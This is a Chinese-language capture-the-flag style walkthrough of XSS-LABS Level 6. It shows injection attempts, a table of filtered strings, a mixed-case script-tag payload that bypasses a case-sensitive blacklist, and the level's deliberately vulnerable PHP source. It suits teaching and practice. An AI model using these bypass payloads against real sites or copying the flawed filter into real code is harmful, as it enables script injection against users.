关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集
0x01:过关流程
进入关卡,右击页面,查看源码,搜索关键词 break it out!
,查找页面回显点:
针对下面那处回显点,我们尝试闭合 input 标签,同时构造 Payload 触发 XSS 攻击:
" onmouseover="alert(1)"> <script>alert(1)</script>
可以看到,on
和 <script>
都被过滤了,目前为止,防御技巧都和 Level 5 一致,我们尝试使用<a>
标签,构造图片点击触发的 XSS 攻击:
"><a href="javascript:alert(1)>
可以看到 a
标签的 href
属性也被列进了黑名单,但是 script
没有,这也意味着,这关八成又要靠 javascript:alert(1)
来弹窗。
下面整理一下这关的过滤机制:
Test Payload | Return Result | Analysis Result |
---|---|---|
on |
o_n |
过滤 on
|
On |
On |
未过滤? |
<script |
<scr_ipt |
过滤<script
|
<ScRiPt |
<ScRiPt |
未过滤? |
草率了,这关没做大小写过滤,所以 XSS Payload 可以为:
"><ScRiPt>alert(1)</ScRiPt><input hidden value="
直接速通。上面的<input hidden value="
,只是我为了让注入语句不那么显眼刻意写的,看一下页面源码:
0x02:源码分析
下面是 XSS LABS Level 6 的源码,以及我对其的部分笔记:
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
// 修改 alert 默认行为,跳转到下一关
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; // 获取通过 GET 方式传递过来的 keyword 参数
$str2 = str_replace("<script", "<scr_ipt", $str); // 过滤 <script
$str3 = str_replace("on", "o_n", $str2); // 过滤 on
$str4 = str_replace("src", "sr_c", $str3); // 过滤 src
$str5 = str_replace("data", "da_ta", $str4); // 过滤 data
$str6 = str_replace("href", "hr_ef", $str5); // 过滤 href
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form action=level6.php method=GET>
<input name=keyword value="' . $str6 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>'; // 过滤了一堆,还漏了大小写,过滤了个寂寞
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str6) . "</h3>";
?>
</body>
</html>